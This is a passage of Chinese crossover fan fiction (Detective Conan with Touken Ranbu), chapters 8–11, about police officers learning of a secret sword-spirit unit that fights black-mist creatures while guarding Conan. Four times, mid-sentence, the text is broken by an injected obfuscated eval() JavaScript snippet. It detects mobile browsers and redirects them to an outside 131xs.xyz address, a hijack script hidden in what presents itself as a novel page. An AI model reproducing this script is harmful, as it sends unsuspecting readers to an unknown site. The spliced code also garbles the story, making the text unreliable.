不是指男人的行为举止奇怪，而是他的身上笼罩着一层黑雾，黑雾厚重到看不清他的身形和五官。 这不是正常人身上会出现的东西。 可偏偏一路上碰到的人都对男人身上的黑雾熟视无睹，就好像在他们眼里，那层黑雾是不存在的。 诸伏景光差点怀疑是不是自己压力太大出现了幻觉，但最终他还是放心不下，偷偷跟上了男人。 男人一路上的举动都很自然，直到踏上进入天台的最后一个台阶，他身上的黑雾翻涌起来朝门后扑去。 男人也仿佛受到什么刺激，失去了思考的能力，没有像平常人一样去拧开门锁，而是用尽全身的力气撞向铁门，发出一声巨响。 门被撞开了，男人冲了出去，紧接着传来一声枪响，有什么倒在了地上。 即使诸伏景光意识到不对加快了速度，短短几个呼吸的时间也只够他冲上楼梯来到门后，穿过门缝对上黑发青年扫过来的冷厉目光，诸伏景光本能的移到旁边隐藏自己的身形。 等了一会没发现青年靠近，诸伏景光反应过来，那个角度青年应该是看不到自己的，他看的实际上是倒在地上的男人。 虽然……想到青年最后看他的那一眼，诸伏景光撑在护栏上的双手动了动，他怀疑青年其实发现了自己，只是没有说出来。 那些古怪的黑雾、青年手上亮起一瞬又消失的白光，男人脑子里被抽出来的不明金属碎片和被枪击杀的男人身上却没有出现任何血迹，以及，男人那青紫的根本不像是刚死的人的面庞…… 诸伏景光用手抵住额头，有点头疼：“zero，难道我现在也是在做梦吗……” 开玩笑的，他当然分得清自己有没有在做梦，只是刚刚经历的一切都超出了他二十多年来的认知，需要一点时间消化。 这种事情要是上报，会被当成臆想吧，承受的压力太大从而出现幻觉什么的。 不，也不一定，如果青年真的是明面上不存在的特殊部门的人，他可能需要先签一大堆保密协议。 那么，诸伏景光思索着，要上报吗？还是…… 口袋里的手机突然振动，诸伏景光看着屏幕上显示的名字，突然想起自己今天来医院的目的。 ……反正人他是追不上了，先去看萩原吧，他只请了半天假来着，然后找个时间联系zero，问问他还记得多少“梦”的细节，看能不能发现什么线索。 —————— 诸伏景光没想到，自家同期竟然没有乖乖养伤，而是跑到了别人的病房去。 “你都伤成这样了，怎么还乱跑？” 听到诸伏景光的话，旁边的一大一小赞同地点头，徒留孤立无援的萩原研二可怜兮兮地求饶。 “研二知道错了啦，小诸伏就看在我已经这么惨的份上，不要成为第三个教训我的人好不好？” 诸伏景光哭笑不得：“我也不是为了教训你才特意跑过来的……” 萩原研二顿时如释重负。 却又见自己的猫眼同期扬起温柔的笑容：“但我听松田说，你因为没有穿排爆服，所以是这次受伤最严重的一个？” 萩原研二惊恐地睁大了眼，扭头看向松田阵平：小阵平！你怎么还告状！ 松田阵平看到了他控诉的目光，并回以一个灿烂且嚣张的笑容，没有一点心虚的样子。 快裹成木乃伊的半长发青年悻悻收回眼神：小阵平当然不会心虚，因为理亏的是自己啊！ 极富沟通力、十分擅长与他人交流的萩原研二竟遇史上最大滑铁卢，惨遭同期制裁却不能也不敢反驳，真是让闻者落泪，听者伤心…… “萩原警官是为了救我才会伤的那么严重，是我连累了他。” 做好迎接同期制裁准备的萩原研二听到了救他于水火中的天籁之音，然而他却高兴不起来。 把责任推给未成年的孩子是肮脏的大人才会做的事情，研二也变成肮脏的大人了！ 但他却不能反驳药研藤四郎的话，甚至还要配合着露出责怪的表情：“小药以后可不能做这么莽撞的事了，这次是运气好，下次可就不一定了哦。” 小药的身份是要保密的，透露给他们是不可抗力，却不能再让别人知道了，就算是小诸伏也不行。 药研藤四郎乖巧应下这句劝导，看着听话又懂事。 他们的表现有点奇怪和……刻意，但诸伏景光今天是来探望萩原研二，不是来兴师问罪的，而且如果真有什么隐情，他相信自己的同期们也会找出真相。 所以诸伏景光没有再多问什么，而是放松下来和两个同期聊着天，当然，也没有忽视药研藤四郎。 一直到窗外的夕阳与地平线相交，天色渐暗，几人才惊觉他们竟然在别人的病房待了一下午。 “小药也太体贴了，明明可以把我们这些无礼的大人赶走的。” 药研藤四郎默默夹走了他想要用勺子舀起的鱼肉，然后把病号餐里唯一一碗稀饭塞给他：“你现在只能喝这个。” 至于萩原研二说的那句话？这群人连晚饭都在这吃了，他就当萩原研二是在撒娇了，在本丸的时候乱也经常这么干，他都习惯了。 但吃鱼是不行的，他现在除了流食别的都不能吃。 喝了一口面前寡淡的、煮的烂糊的稀饭，萩原研二是真的想哭了：“为什么！” 同样都是炸弹爆炸的受害者，为什么只有他被限制了饮食！ 这碗稀饭甚至连盐都只放了一点点！ “三天后就能慢慢恢复正常饮食了，在那之前你先忍忍吧。” 药研藤四郎咽下鱼肉，眉头微皱，有点咸，腥味也没完全去掉，不如烛台切做的。 等他解决完自己的晚饭，抬头就看到已经喝完粥的萩原研二正一脸幽怨地盯着自己，另外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559848|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人在偷笑。 他不会这样看了很久吧…… 居然根本没发现，难道受伤之后自己的警惕性也下降了？ 心里想着，面上药研藤四郎淡定地回望过去：“怎么这样看着我？” “感觉小药的语气很像在哄生病了不听话的弟弟。”萩原研二的眼神更幽怨了，“明明我才是年长的那个。” 他们的相处模式完全搞反了吧！ “啊……”怔了一下，药研藤四郎利索地道歉，“在家的时候照顾兄弟们习惯了，不自觉就……如果冒犯到你的话，抱歉。” “因为这种事生气岂不是更显得我像个无理取闹的大人。”萩原研二朝他眨了下眼，“别担心，正相反哦，能多一个人关心我，对研二来说是大好事啊，这可是我魅力的证明！” 很得意啊，hagi，居然还用这种炫耀的语气说这些话。 松田阵平握紧了拳头，在触及发小一身的绷带时又悄悄松开，算了，先记着，等他好了再揍。 将一切尽收眼底的诸伏景光忍不住为自己的同期默哀了一秒，但他完全没有制止的想法。 毕竟，萩原确实需要好、好、教训一下呢。 萩原研二后背莫名一寒，但那股寒意很快就消散了，于是被他归咎于错觉。 他开始操心另一件事：“已经这么晚了，小药的哥哥还没回来吗？” 小药再怎么说也只是个半大的孩子，现在受伤住院正是心灵脆弱最需要人陪伴的时候！ “他有事要忙。”并不知道自己已经被想成了孤孤单单的小可怜，药研藤四郎回道，“不用担心，我的同伴就快来了。” “那就好，”萩原研二那双干净深情的柳叶眼微微弯起，“我陪小药再待一会儿，等你的伙伴到了我们再走。” 很好，这人根本没相信他的话。 药研藤四郎丝毫不怀疑，如果山姥切他们十二点才来，萩原研二真的会陪他等到十二点。 这家伙到底有没有自己是个重伤患的自觉啊！ 不过山姥切国广和七星剑是快回来了，既然这家伙不放心，要等就等吧。 过了十来分钟，山姥切国广和七星剑风尘仆仆的来到病房，这间单人病房塞不下那么多人，看到他有人照料的萩原研二几人也就告辞了。 临走时，诸伏景光的目光不自觉地落在了山姥切国广身上。 金发碧眼，五官却是典型的东方人长相，是混血吗？ 他被吸引了心神，因此没有注意到另一道隐秘的放在他身上的视线，那目光似乎是在惋惜着什么，但仔细看去又什么都没有。 一切命运都将归于终结。 七星剑收回了视线，此前他便发现了，在这里他的能力似乎被加强了，但如此清晰的预见一个人的命运，还是第一次。 如烟花般，璀璨而短暂的命运。 还有一位。 红蓝异瞳扫过推着轮椅的黑卷发青年，下一刻停住，垂下的眼眸因讶异而睁大了些许：“星相……有变。” 原本明晰的命运蒙上了迷雾，为什么？与此界的规则有关？ 9. 第 9 章 一回到病房，萩原研二便趁着诸伏景光不注意对松田阵平使了个眼色，后者会意点头，反手锁上房门。 于是，被门上锁的咔嚓声打断思绪的诸伏景光回过神来，便发现自己被两个满脸写着不怀好意的同期包围了。 坐在轮椅上的半长发同期身残志坚，即使只露出眼睛也遮不住那惊人的气势：“来看望我结果迟到不说，整个下午还一直神思不属的，小诸伏，我劝你老实交代，不然小阵平的手段你可是知道的！” “对……不对！”配合着做出威胁动作的卷发同期表情差点没绷住，“喂hagi！” 什么叫他的手段啊！他怎么不知道自己有什么手段？？ 正感叹于自己的掩饰果然瞒不过观察力超强的同期，就看到两人合作失败的“翻脸”现场，诸伏景光不由失笑：“之前倒是没发现，萩原你意外的适合扮演恶人啊。” “那当然，研二我扮演什么都是专业的！”萩原研二得意道，紧接着弯唇一笑，“但不要以为可以借机转移话题哦。” 这种简单到根本不走心的话术对他是没有用的！ “哎呀，失败了啊。”虽是这样说，诸伏景光的表情却看不出遗憾，他知道这点伎俩在同期身上没用。 但想到他们关心的内容，诸伏景光神色变得犹豫：“也不是我想瞒你们，只是……有点不知道怎么说。” 他大致讲了自己今天遇到的事。 然而他没想到的是，同期们听完后非但没有觉得他的话难以理解，反而纷纷露出了有些怪异的表情。 松田阵平更是向他确认：“你说的那个青年，是不是黑色长发、黑色风衣，眼睛是很少见的红色？” “是这样没错……”诸伏景光茫然点头，甚至忍不住怀疑起自己的记忆，他刚才，应该没说那个人的长相？ 怎么松田的表现像是亲眼见过那个人？ 萩原研二更是恍惚地喃喃：“小药的哥哥突然不见，原来是去处理这些了啊……” 听起来，这两个人好像知道什么。 诸伏景光眯起眼，身上的气势一变，二者的地位瞬间颠倒：“解释一下吧，两位，如果是保密原则的话，我现在也算是知情者了。” 看来这就是他们下午的表现那么奇怪的原因了。 没想到居然这么巧…… 等等，既然是这样的话，那他们之前那些话的可信度就要打上疑问号了。 从审问反变成被审的两人口中得知另一个版本的经过，诸伏景光沉默了片刻：“……跟你们之前说的完全反过来了啊。” 不过，那个部门居然持有这么厉害的装备吗？连近距离面对爆炸都仅仅只是受伤，甚至没有缺胳膊断腿。 而且，看样子还是范围型的防御装置。 这样的力量要是能大范围应用…… 不，应该做不到，至少目前来说不行，不然肯定已经有风声传出。 萩原研二无辜一笑：“哎呀理由是小药想的嘛，我只是配合他。” 现在重新整理了一遍，松田阵平突然反应过来：“那小鬼只说自己隶属于霞关，但实际上他是哪个部门的根本就没提啊。” 萩原研二：“诶？小阵平你不是看了小药的证件吗？” 松田阵平：“上面所属部门打的也是问号，当时被你一打岔我也忘了继续问，不过也不是什么重要的事，盖的章是真的就行了。” 听着他们你一言我一语补充更多细节，诸伏景光内心无奈又好笑，他的同期们也是不靠谱了一回啊。 不过这样的话，调查计划就要搁置了。 虽然他真的很好奇那个男人身上冒黑雾的原因，但继续调查下去，万一被发现消息是萩原和松田透露给他的，说不定会连累到他们。 只能下次再找机会了。 然而，诸伏景光控制得了自己的好奇心，却管不住其他人的。 “果然还是很在意那个会冒黑烟的男人是什么情况。”提及不在他们所知中的情报，萩原研二望向松田阵平，眨了下眼，“明天去问小药吧。” 松田阵平哼笑一声：“你确定那小鬼会告诉我们？今天涉及到任务细节的问题，他们两个的回答可都是‘无可奉告’呢。” 萩原研二：“总要试一试嘛，拒绝无非是再听到一次‘无可奉告’。不过说不定小药就心软告诉我们了呢。” 好吧，虽然这个可能性挺低的，但万一呢。 “问到的话，别忘了告诉我。” 听到这句话，萩原研二扭头看向面色坦然的诸伏景光，有些惊讶，旋即应下：“没问题哦。” “毕竟，我们现在可是共犯啊。” 但有的时候意外总是会先一步到来。 第二天一早，萩原研二就被压着进行了全方位的身体检查，然后被搬上轮椅送到医院地下室一间一看就是临时收拾出来的房间。 纯色的墙壁，房间没有窗户，散发出惨白光芒的白炽灯，除此以外唯一的装饰是正中央摆着的桌子。 送萩原研二来的人把他推到房间里就离开了，正当萩原研二思考自己这样算不算被绑架的时候，门又开了。 “打扰了。” 来人穿着浅色马甲，蓝色领带，条纹西服的扣子没有扣上，而是随意散开，金发碧眼，五官是典型的东方人长相。 是昨天有过一面之缘的，小药的伙伴。 “药研已经告知了你们相关内容，我今天是来补上最后一道程序。” 和证件一同被推过来的，是一叠上书“保密条例”的文件。 “我说，现在才想起来这回事，你们不觉得太晚了吗？” 一大早被传唤到警察厅，又被通知要签保密协议，松田阵平双手抱臂，睨了一眼放到眼前的文件，“都过去一晚上了，我们要是在这期间把消息外传了呢？” “若真发生，我们也自有办法解决。”七星剑递上黑色签字笔，“请。” “我可以问一个问题吗？” 一墙之隔的另一个房间，诸伏景光签完字，看着拿起文件转身欲走的黑发青年，急声道。 青年没有回答，但那双宝石一样清透的眼眸移了过来，于是诸伏景光明白了他的意思。 他迅速将已经思考一晚上的问题抛出：“那个人的样子，跟你从他身上取出的金属碎片有关吗？那东西有什么特殊吗？” “是。” 似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559849|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎是觉得这样还不够，青年朝他的方向走近几步，从口袋中摸索出什么，伸出手摊开，问：“看得到吗？” 看着他掌心中的碎刃，诸伏景光疑惑着开口：“如果你问的是这个刀刃碎片的话，我看得到……？！” 诸伏景光呼吸一滞，他看到，白光一闪而过，青年手中的金属碎片涌出黑雾。 黑雾粘稠又厚重，有意识一般流动着，跟他在那个男人身上见到的一模一样。 忽然，黑雾的流动一顿，然后猛地扑向诸伏景光。 “！！” 诸伏景光下意识后退避开黑雾，随即看见青年收拢五指，手中的碎刃像是被什么无形的力量碾碎，变成粉末从指缝中飘落。 他倏然看向江霖：“这是……！” 【好的，这下能确认了。】狐之助的声音平静中带着淡淡的心死感，【他果然也看得见。】 【审神者大人，您要用跟上次一样的处理办法吗？】 【不。】 “刚才看到的，你可以理解为这是一种常人无法看到，也不能理解的，非自然力量。” “你昨天见到的那个人，我们称其为‘改造人’。严格来说，他不能算是活人，只是一具会动的尸体。他是被你口中所说的金属碎片中的力量变成那样的。” 青年音色偏清冷，语调淡漠：“以后再见到它们，就当作看不到，正常的武器对它们没有用。到达安全的地方再通知我，我们会前去处理。” 他报出一串邮箱地址和电话号码。 诸伏景光牢牢地记下这些，再抬眼时，青年已经握住了门把手，他脱口而出：“那个，我可以知道你们的部门情况吗……！” 话一出口，诸伏景光就有些懊恼，既然他们一直避免谈这个，大概就是不想让人知道。 江霖的动作顿住，背对着他的诸伏景光看不见他的表情，却在青年的沉默中明白过来。 【狐之助。】 【明白！您跟我念！】 就在诸伏景光将要彻底放弃时，青年的声音响起。 “我所在的部门，代号为‘霞’，是为维护国家安全和社会稳定而组建的超自然现象调查及剿灭部门。成员均以刀为名，在下名为江霖，既是负责人，也是‘持刀者’。” “‘霞’按职权归为国家安全居委会所属，但并不受其领导，直接对内阁总理大臣负责。” 【当然这也只是明面上的，实际上总理大臣也管不到我们。】 “这段话请保密，不要向任何人提及，即使是你最信任的人。”青年转过身，浅淡的红瞳中似乎漾起了些许笑意，“毕竟，我们是明面上不存在的特殊部门。” 是错觉吧。诸伏景光想，这样一个沉肃又漠然的人，怎么会因为这段没什么特殊的话笑呢。 ———— 药研藤四郎的病房内，江霖在少年欲言又止的目光中又削起了兔子苹果，同时在心中询问狐之助：【‘霞’真的存在吗？】 【您可以这样理解，当你们在时，它就是真实存在的。】 而当他们离开之后，‘霞’以及一切可以证明他们存在的痕迹，都会随之抹消。 【我知道了。】 10. 第 10 章 “小药你居然就要出院了吗！”拆掉了大部分绷带但内伤严重所以还是被摁在病床上的萩原研二发出不可置信的哀嚎，“这才半个月啊！” “我伤的本来也不是很重。”药研藤四郎换回了自己的衣服，站在萩原研二床前，眼中带着笑，“而且，我有新任务，很快就要出发了。” “哈？”一旁的松田阵平不满地啧了一声，“刚出院就出任务，你们上级就这么压榨未成年的？” 而且出院也不代表都好了，怎么也要休养几天吧？ “没办法，我们人少。”药研藤四郎自动忽略了未成年几个字，“今天除了感谢这段时间两位的关照外，还想让你们帮忙给一个朋友带句话。” “喔——，这还是小药第一次主动求助呢！”萩原研二双眼发亮，当即答应，“这个忙我帮了！说吧，你那个朋友长什么样子，要带什么话，什么时间和地点把话带给他？” “长相的话，那家伙是黑发红瞳，没有照片。”少年表情轻松，“不过你看到他就能认出来的，他是我的同类。” “带的话就……啊，这样跟他说吧，‘遇到一点麻烦，解决之后才能回来，不用担心’。” “地点……”药研藤四郎沉吟了一会儿，“就在你们警察局吧。” 工藤新一经常遇到案子，在警察局能见到他的概率估计会比较大。 “时间是七年后。” 等等，什么？ 一直笑眯眯听着的萩原研二表情凝固了，试图从他是不是听错了的方面思考：“小药是说七天后吗？” 虽然年和天的发音差了很远，但万一孩子就是说错了呢？ 药研藤四郎纠正道：“是七年后。” 他大概知道萩原研二的想法，但。 “我没有说错，你也没听错，我接下来的任务需要断绝一切联系，时间不定，那家伙七年后会回到东京，联系不上我们他会闹的，拜托了。” 这段话疑点很多啊。 松田阵平墨镜下的双眼扫过神色诚恳的少年，最简单的，他不能现在发送一份邮件告诉对方他会失联吗？ 而且他明明有更多办法通知到对方，不管是定时投递信件或邮件还是在双方都知道的地点留下暗号，都比拜托一个认识一个月都没到的人要靠谱吧，更别说其他地方也很可疑。 不过对象是萩原的话…… “没问题哦，我会准时送到的。”萩原研二语气轻巧地应下，对着他眨了下眼，“只要我那时候还活着，毕竟我这个职业殉职率很高嘛。要不是小药你，我就已经死了呢。” 说了个很地狱的笑话啊，这个混蛋。 松田阵平的拳头又硬了。 药研藤四郎没有被逗笑，他直视着萩原研二的眼睛，语气认真又郑重：“那就请你努力的活到那时候吧，不要让我的力量白费。” “唔哇。”无意识地哇了一声，萩原研二这段时间闲得无聊去研究过古代刀剑，尤其是他认识的这几位，因此他现在不自觉就想起了关于药研藤四郎这个名字的故事。 “小药，你们的名字原来是根据每个人的特性选的吗？” 历史上的短刀药研藤四郎就是因为锋利到能够击穿石头做的药研却不会伤害它的持有者畠山政长而得名。 超帅气的！ 如果药研藤四郎真的变成人的话也会像小药这样吧，会特别在意看重的人的生命安全，说不定还会因为名字精通医术…… 脑子里天马行空的念头突然一顿，想起某些被不到自己胸口高的少年逼着喝药忌口的不愉快经历，萩原研二摇摇头甩去了这个可怕的猜测。 不不不，还是别那么像了。 药研藤四郎没有否认：“如果你要这么理解的话。” “那么，”手忽然被握住，少年望向朝着他的方向探出身子的萩原研二，青年开玩笑一样地祈愿，“请你保佑我吧，如果小药不放心的话。” 与略显轻浮的语气不同，他眼中闪烁着的是与药研藤四郎第一次在病房见到他时一样的，干净而明亮的色彩。 于是，药研藤四郎回握住他的手，予以同等程度的回应：“虽然不是我的主人，但我会保佑你的，以药研藤四郎之名。” —————— 今天是工藤新一变小的第十五天。 清晨，加州清光谨慎地拉开窗帘看了一眼窗外，然后放下自己昨天准备的短袖衬衫，从衣柜里翻出毛衣和围巾。 真没想到能在本丸以外的地方体验到三天过四季。 加州清光沉重地想。 起床后，餐厅的桌子上放着早就准备好的早餐，今天烛台切光忠负责保护工藤新一，所以他早就出门了。 ……但为什么白山也不在？ 当然，实际上加州清光能猜到他去了哪里。 抬头看了眼街道对面二楼玻璃上映着的毛利侦探事务所几个字，加州清光视线下移，毫无波澜地转身进了身后的花店，果然见到了已经在修剪花枝的白山吉光。 事情要从他见到萩原研二开始说起。 那位异常热情的警官在告知了他药研他们的情况之后，软磨硬泡地要添加他的联系方式，理由是希望他和小药联系上后能及时通知他。 加州清光没能说过他，望着萩原研二写下的手机号码和邮箱地址沉默了很久，最后在某个半长发警察笑眯眯的表情中掏出了虽然早就准备好但没用过的手机。 结果第二天就接到了一个电话。 自述是代理人的男人称有人将一家花店的管理权交给了他，希望他尽快去办理相关手续。 花店持有人姓江。 于是加州清光接手了这个虽然看起来是莫名其妙出现，但实际很有可能是主人他们搞出来的花店。 所以为什么会是花店啊！宗三又不在！ 万幸，花店有工作人员，他不用真的自己去打理那些花。 不然加州清光怀疑这家店可能一个星期后就要闭业大吉。 白山吉光似乎对这些花很感兴趣，在没有任务的时候都会跑过来跟店员学习怎么打理花卉。 店员小林是个认真执着的人，只要答应的事就会一丝不苟的完成，即使像白山吉光这样的初学者也会耐心教导。 小林超厉害的，不愧是主人选的人！ 也是这个原因，让加州清光忽视了小林身上偶尔会冒出来的违和感。 九点零五分，一道身影出现在门口，冲进店里就是一个鞠躬：“对不起，我迟到了。” “没事没事，”加州清光没有怪他，反倒是有点好奇，“这还是第一次看到你迟到呢，是碰到什么事了吗？” 这一个星期来他都是提前五分钟到的，很守时。 “我……”小林有点不好意思地摸了下脖子，但碍不住加州清光炽热的目光，他只好解释，“我在路上帮一位女士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559850|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓了位抢劫犯，然后去录了口供，所以才……” “见义勇为啊，很好嘛！”加州清光毫不吝啬地夸赞，并决定，“我要给你涨工资以示奖励！” 对上他的眼睛，小林知道他没有在开玩笑，于是弯起眸子：“那我就心怀感激的接受了。” 小林去后院搬盆栽了，加州清光收起脸上的笑，看向安安静静包花的白山吉光：“你也发现了吧？” “他身上有血腥味和硝烟味，是枪伤。”白山吉光打好固定包装纸的结，问他，“味道很淡，应该伤的不严重，需要我帮忙治疗吗？” “不，你就当不知道。”加州清光就是为了防止这个，“他有提前处理过，应该是不希望我们注意到。” “好。”白山吉光应下，把包好的花摆到花架上，又去处理另一束花。 没过多久，小林推着装有盆栽的小推车出来了，身上多了药味，加州清光放松地靠在椅背上。 花店的生意不好不坏，保持在一个足够继续经营的程度。 时针悄无声息的走到下午五点，平静的一天结束了。 “加州先生，我先走了。” “今天辛苦了～，回去早点休息。” 关上店门，加州清光转身面向白山吉光，手中已然多出一振红色打刀。 他弯起的嘴角慢慢拉平，只余下一点惯有的上扬弧度，眼中洋溢的笑转为凛冽寒光：“好了，接下来是正式工作的时间。” 白山吉光手腕轻轻一抖，握住袖口滑出的短剑：“目标已确认，开始执行任务。” 夜幕降临，昏暗的角落中冒出一对对骇人红芒，它们盯着亮起灯的事务所，静静等待着什么。 如择人而噬的野兽。 街角处的灯光拉长了幼童和旁边少女的影子，角落中响起窸窸窣窣的声响，它们动了。 黑雾笼罩的身躯与阴影融为一体，但在它们抵达被灯光照射的范围前，率先被雪白的刀刃砍中。 “禁止通行。”压得极低的声音迅速消散在空气中，没有传到一墙之隔的一高一矮耳中。 将动静放到最轻，加州清光和白山吉光默契地斩杀从不同方向袭来的时间溯行军，不让它们靠近工藤新一。 但百密总有一疏，一不注意，体型纤细的敌短从白山吉光的剑下钻出，贴着墙根冲向正踮起脚跟少女说着什么的男孩。 “嗤！” “哎呀，想更加帅气的进攻啊。” 烛台切光忠皱着眉抱怨，丝毫没有停顿地解决了位于光暗交界处的一团阴影。 “光忠先生？你这是在……？” 回答完柯南的问题，毛利兰转头就看到在路上遇到，所以干脆结伴回家的新邻居不知道什么时候落后了他们十几米，还正在用他很珍视的太刀戳……墙根？ 那里……有什么东西吗？ 毛利兰迟疑着想，可是她并没有看见。 “啊没什么，本来以为是条蛇，但好像是我看错了。”烛台切光忠收起刀，有些赧然地笑了笑，“请兰小姐忘记我这副难看的样子吧。” 目睹这一幕的江户川柯南木着脸：可恶啊，仗着小兰体贴，连借口都不愿意好好找吗！ 不过…… 走上二楼的楼梯前，江户川柯南扭头看向站在路灯下微笑着跟他们道别的烛台切光忠，心中一闪而逝的疑惑再次出现。 那个时候，他到底砍中了什么？ 11. 第 11 章 工藤新一一直想找到一个人。 一个把变小的他送到阿笠博士家、疑似对他的情况很了解、直觉告诉他是友非敌却没有在他面前出现过一次的人。 唯一的线索是那个人留下的外套。 从外套的大小和长度来看，穿着人应该是男性，身高在175以上。 那件白色外套并不是常见的款式，布料质感和裁剪也不符合他知道的大牌，应该是私人订制的，衣服下摆和领口袖口的暗纹也是手工缝制的痕迹。 简单来说，经济条件应该不俗。 以及在那个人身上闻到的味道，相对来说，油墨味最重，应该是有长期练字的习惯。 还有那股茶香……工藤新一在脑子里勾勒出一个四十岁左右，气质儒雅的中年男人形象。 工藤新一想过很多可能，但都一次次否定了自己的推理结果。 线索还是太少了。 不过最近，工藤新一有了新的发现。 小兰家对面开了三年的花店一直都只有一个人在经营，但从七天前开始，多了两个新面孔。 其中一位，是在警察局见过的，是一次案件的目击证人，观察力很强，给他破案提供了很大的帮助。 这不是重点，重点是他出现的地方，花店、花香、还有这个时间……都太巧了。 巧合出现的太多就不是巧合了，工藤新一忍不住多关注了他们几分，尤其是黑发红瞳，被店员称为加州先生的那个人。 然后就在他关注的第二天，工藤新一就发现自己不管身在什么地方，都能够在视线可及的范围内发现加州的踪影。 加州在跟踪他。 没有人会无缘无故跟踪一个七岁的小孩子，除非他们别有所图。 结合之前的情报，工藤新一想到了一个人。 加州会是外套的持有人派来的吗？ 工藤新一不敢确定，但线索就在眼前，他决定试探一下。 找了个课后作业的借口，江户川柯南跑到花店并“不小心”撞到了加州，这其实是个很冒险的举动，但不知道加州是不是不想在店员小林面前暴露，他表现的就像对待一个普通的小孩子。 即使他很有可能知道他的真实身份。 成功把监听器安到加州的衣服上，可等江户川柯南跑回房间打开监听设备，却只听到一句：“小侦探，有好奇心是好事，但还是不要什么都好奇比较好哟。” 接着就是滋滋的电流声，最后归于平静。 监听器被破坏了。 江户川柯南跑到窗边，果然见到加州站在花店门口，看见他之后还笑眯眯地招手，他面无表情地摘下耳机：这不是一开始就发现了吗？恶趣味的家伙！ 尽管看似他什么线索都没得到，但心中的某个猜测已经得到证实。 跟踪、监视，也可以反过来理解为，保护。 躺在床上用手臂压住眼睛，工藤新一从发现被监视起就悬在空中的心落下。 是友，非敌。 太好了。 只要确认了这一点，其他的，可以慢慢来。 。 工藤新一觉得，自己好像高兴的有点太早了。 第三次在商场里碰到加州并得到一个灿烂的笑容后，他不动声色地瞪了一眼对方。 虽然已经是双方心照不宣的事了，但你能不能有点职业操守！ 这样下去小兰会发现不对的！ “柯南，不能这么盯着人家哦。” 叫了一声柯南没得到回应，毛利兰低头看去，才发现他在看一个很精致漂亮的男生。 这个人他们应该已经碰到过好几次了，对方外貌优越，是见过就不会忘的那种，但就算是这样，也不能一直盯着人家看啊。 江户川柯南一惊，忙对着毛利兰扬起乖巧的笑容：“没有啦，我只是有点好奇，那个哥哥手上涂着红色的指甲油诶，很少有男生涂这个颜色吧。” “那也不行，”他们现在站的地方没什么人，毛利兰蹲下身对着江户川柯南认真道，“这样很不礼貌的，去给人家道歉吧，我陪你一起。” 但等他们再看过去，原地已不见加州的踪影。 江户川柯南悄悄松了口气。 就在这时，一道声音叫住他们。 “打扰一下，请问食材区在往哪个方向走？我是刚搬过来的，不太了解。” 江户川柯南抬起头，看向那个向小兰询问的高大男人。 男人右眼戴着眼罩，瞳色是灿亮的金色，举止得体，气度从容，看得出是个涵养很好的人。 这是三天前，他们第一次见到新邻居光忠先生时的场景。 经过一天接触，江户川柯南得出结论：这人跟加州是一伙的。 倒不是因为他观察力有多强，而是这两个人当着他的面进行眼神交流，神态动作也完全是非常熟悉的人之间才会有的熟稔。 根本都不遮掩了吗！敢不敢尊重一点他这个侦探啊！ 然而等冷静下来，理智重新占据高地，工藤新一开始思考，他们为什么会紧张到这个程度。 加州看着开朗活泼对外界不设防，但观察他的时间稍微长一点，就能发现他的眼神总是不自觉地在四周游移，右手更是维持在一个方便往后伸的姿势，应该是藏了武器。 邻居光忠先生就更过分了，仗着自己持有铳炮刀剑登录证，那柄一看就锋利无比的太刀几乎没离过身。 他虽然也担心那两个黑衣人发现他还活着，但还不至于警惕到这种地步。 他们到底在防备着什么？ 这个疑惑在昨天晚上看到光忠先生对着没有东西的角落攻击时达到了顶峰。 他的姿势确实是切实砍中了什么，但那里什么都没有，为什么？ 想了一晚上也没想明白，还差点因为反复翻身的动静太吵被毛利大叔物理静音，江户川柯南只好暂时停止思考，强迫自己入睡。 第二天放学，江户川柯南早早就赶了回去，反正大家都心知肚明了，他直接去找加州问清楚！ “加州先生吗？他今天请假了。”面对他的询问，小林是这么回答的，“说是有很重要的事，接下来几天可能也不会来。” 看着江户川柯南难掩失望的背影，小林若有所思，其实不只是加州，本来白山已经过来了，但半个小时前加州急急忙忙过来把他带走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559851|171356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 